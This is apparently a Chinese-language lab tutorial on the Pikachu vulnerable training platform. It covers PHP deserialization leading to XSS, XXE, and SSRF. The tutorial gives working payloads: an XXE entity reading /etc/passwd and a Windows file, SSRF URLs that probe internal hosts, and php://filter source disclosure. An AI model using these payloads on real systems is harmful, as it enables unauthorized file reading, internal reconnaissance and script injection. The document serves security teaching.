序列化和反序列化
概述
在理解這個漏洞前,你需要先搞清楚php中serialize(),unserialize()這兩個函數。
序列化serialize()
序列化通俗點說就是把一個對象變成可以傳輸的字符串,比如下面是一個對象:
class S{ public $test="pikachu"; } $s=new S(); //創建一個對象 serialize($s); //把這個對象進行序列化 序列化后得到的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object 1:代表對象名字長度為一個字符 S:對象的名稱 1:代表對象里面有一個變量 s:數據類型 4:變量名稱的長度 test:變量名稱 s:數據類型 7:變量值的長度 pikachu:變量值
反序列化unserialize()
就是把被序列化的字符串還原為對象,然后在接下來的代碼中繼續使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的結果為pikachu
序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且后台不正當的使用了PHP中的魔法函數,就會導致安全問題
常見的魔法:
- __construct():當一個對象創建時被調用
- __destruct():當一個對象銷毀時被調用
- __toString():當一個對象被當作一個字符串使用
- __sleep() :在對象在被序列化之前運行
- __wakeup():將在序列化之后立即被調用
漏洞舉例
class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a); payload如下
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
實驗
這里有個接口可以接受一個反序列化的對象,下面是后端代碼
我們可以利用相似的代碼生成一個反序列化的字符串
反序列化一般通過代碼審計的方式發現
<?php class S{ var $test = "<script>alert('xss')</script>"; } echo '<br>'; $a = new S(); echo serialize($a); ?>
訪問上面的 php 文件,查看源碼,復制 echo 的內容
提交下面的 payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
反序列化的結果是一個 JS 的彈窗,我們提交后就能進行 XSS 攻擊
XXE
概述
XXE,"xml external entity injection",即"xml外部實體注入漏洞"。
攻擊者通過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,導致問題
也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。
具體的關於xml實體的介紹,可以在網上先查一下。XML語法結構大致如下
第一部分:XML聲明部分 <?xml version="1.0"?> 第二部分:文檔類型定義 DTD <!DOCTYPE note[ <!--定義此文檔是note類型的文檔--> <!ENTITY entity-name SYSTEM "URI/URL"> <!--外部實體聲明--> ]> 第三部分:文檔元素 <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
其中,DTD(Document Type Definition,文檔類型定義),用來為 XML 文檔定義語法約束,可以是內部申明也可以使引用外部DTD現在很多語言里面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
① 內部申明DTD格式 <!DOCTYPE 根元素 [元素申明]> ② 外部引用DTD格式 <!DOCTYPE 根元素 SYSTEM "外部DTD的URI"> ③ 引用公共DTD格式 <!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTD的URI">
外部實體引用 Payload
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
實驗
PHP中有一個函數 simplexml_load_string() 將形式良好的 xml 字符串轉換為 SimpleXMLElement 對象
在PHP里面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默認是禁止解析xml外部實體內容的。
本章提供的案例中,為了模擬漏洞,Pikachu平台手動指定 LIBXML_NOENT 選項開啟了xml外部實體解析。
在 Pikachu 平台上,我們先提交一個正常的 xml 數據
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "test"> ]> <name>&hacker;</name>
它將我們定義的實體內容打印在了前端
如果我們提交下面這樣的payload,就能看到服務器上的文件內容
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://Windows//secret.txt"> ]> <x>&f;</x>
SSRF
概述
SSRF(Server-Side Request Forgery,服務器端請求偽造)
其形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制
導致攻擊者可以傳入任意的地址來讓后端服務器對其發起請求,並返回對該目標地址請求的數據。
即以存在SSRF漏洞的服務器為跳板取得其他應用服務器的信息。
數據流:攻擊者 -----> 服務器 ----> 目標地址
根據后台使用的函數的不同,對應的影響和利用方法又有不一樣
PHP中下面函數的使用不當會導致SSRF: file_get_contents() fsockopen() curl_exec()
如果一定要通過后台服務器遠程去對用戶指定("或者預埋在前端的請求")的地址進行資源請求,則請做好目標地址的過濾。
你可以根據"SSRF"里面的項目來搞懂問題的原因
SSRF(curl)
在這個實驗中,pikachu平台提供了一個鏈接,點擊這個鏈接可以返回一首詩。
觀察 url 發現它傳遞了一個 url 給后台
我們可以把 url 中的內容改成內網的其他服務器上地址和端口,探測內網的其他信息,比如端口開放情況,下面這個例子就探測出129這台機器開放了22端口
SSRF(file_get_content)
file_get_content 可以對本地和遠程的文件進行讀取,比如
http://192.168.171.133/pikachu/vul/ssrf/ssrf_fgc.php?file=http://192.168.171.129/index.html http://192.168.171.133/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C://1.tx
或者使用 filter 取得頁面 源碼
http://192.168.171.133/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
再進行 base64 解碼 就能得到頁面源碼